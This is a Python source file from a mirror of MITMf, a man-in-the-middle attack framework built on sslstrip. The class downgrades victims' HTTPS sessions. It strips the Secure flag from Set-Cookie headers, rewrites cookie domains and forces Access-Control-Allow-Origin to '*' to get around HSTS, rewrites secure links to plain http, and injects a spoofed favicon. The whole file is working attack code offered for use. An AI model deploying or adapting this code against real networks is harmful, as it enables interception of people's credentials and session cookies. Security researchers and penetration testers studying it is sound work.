mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 13:02:24 -07:00
134 lines
5.5 KiB
Python
134 lines
5.5 KiB
Python
# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
|
|
#
|
|
# This program is free software; you can redistribute it and/or
|
|
# modify it under the terms of the GNU General Public License as
|
|
# published by the Free Software Foundation; either version 3 of the
|
|
# License, or (at your option) any later version.
|
|
#
|
|
# This program is distributed in the hope that it will be useful, but
|
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
# General Public License for more details.
|
|
#
|
|
# You should have received a copy of the GNU General Public License
|
|
# along with this program; if not, write to the Free Software
|
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
|
# USA
|
|
#
|
|
|
|
import logging
|
|
import re
|
|
import string
|
|
|
|
from ServerConnection import ServerConnection
|
|
from URLMonitor import URLMonitor
|
|
|
|
mitmf_logger = logging.getLogger('mitmf')
|
|
|
|
class SSLServerConnection(ServerConnection):
|
|
|
|
'''
|
|
For SSL connections to a server, we need to do some additional stripping. First we need
|
|
to make note of any relative links, as the server will be expecting those to be requested
|
|
via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies.
|
|
'''
|
|
|
|
cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
|
|
cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
|
|
iconExpression = re.compile(r"<link rel=\"shortcut icon\" .*href=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
|
|
linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
|
|
headExpression = re.compile(r"<head>", re.IGNORECASE)
|
|
|
|
def __init__(self, command, uri, postData, headers, client):
|
|
ServerConnection.__init__(self, command, uri, postData, headers, client)
|
|
self.urlMonitor = URLMonitor.getInstance()
|
|
self.hsts = URLMonitor.getInstance().hsts
|
|
|
|
def getLogLevel(self):
|
|
return logging.INFO
|
|
|
|
def getPostPrefix(self):
|
|
return "SECURE POST"
|
|
|
|
def handleHeader(self, key, value):
|
|
if self.hsts:
|
|
if (key.lower() == 'set-cookie'):
|
|
newvalues =[]
|
|
value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
|
|
values = value.split(';')
|
|
for v in values:
|
|
if v[:7].lower()==' domain':
|
|
dominio=v.split("=")[1]
|
|
mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
|
|
real = self.urlMonitor.real
|
|
if dominio in real:
|
|
v=" Domain=%s"%real[dominio]
|
|
mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
|
|
newvalues.append(v)
|
|
value = ';'.join(newvalues)
|
|
|
|
if (key.lower() == 'access-control-allow-origin'):
|
|
value='*'
|
|
|
|
else:
|
|
if (key.lower() == 'set-cookie'):
|
|
value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
|
|
|
|
|
|
ServerConnection.handleHeader(self, key, value)
|
|
|
|
def stripFileFromPath(self, path):
|
|
(strippedPath, lastSlash, file) = path.rpartition('/')
|
|
return strippedPath
|
|
|
|
def buildAbsoluteLink(self, link):
|
|
absoluteLink = ""
|
|
|
|
if ((not link.startswith('http')) and (not link.startswith('/'))):
|
|
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
|
|
|
|
mitmf_logger.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link)
|
|
mitmf_logger.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
|
|
elif not link.startswith('http'):
|
|
absoluteLink = "http://"+self.headers['host']+link
|
|
|
|
mitmf_logger.debug("[SSLServerConnection] Found relative link in secure transmission: " + link)
|
|
mitmf_logger.debug("[SSLServerConnection] New Absolute link: " + absoluteLink)
|
|
|
|
if not absoluteLink == "":
|
|
absoluteLink = absoluteLink.replace('&', '&')
|
|
self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);
|
|
|
|
def replaceCssLinks(self, data):
|
|
iterator = re.finditer(SSLServerConnection.cssExpression, data)
|
|
|
|
for match in iterator:
|
|
self.buildAbsoluteLink(match.group(1))
|
|
|
|
return data
|
|
|
|
def replaceFavicon(self, data):
|
|
match = re.search(SSLServerConnection.iconExpression, data)
|
|
|
|
if (match != None):
|
|
data = re.sub(SSLServerConnection.iconExpression,
|
|
"<link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)
|
|
else:
|
|
data = re.sub(SSLServerConnection.headExpression,
|
|
"<head><link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)
|
|
|
|
return data
|
|
|
|
def replaceSecureLinks(self, data):
|
|
data = ServerConnection.replaceSecureLinks(self, data)
|
|
data = self.replaceCssLinks(data)
|
|
|
|
if (self.urlMonitor.isFaviconSpoofing()):
|
|
data = self.replaceFavicon(data)
|
|
|
|
iterator = re.finditer(SSLServerConnection.linkExpression, data)
|
|
|
|
for match in iterator:
|
|
self.buildAbsoluteLink(match.group(10))
|
|
|
|
return data
|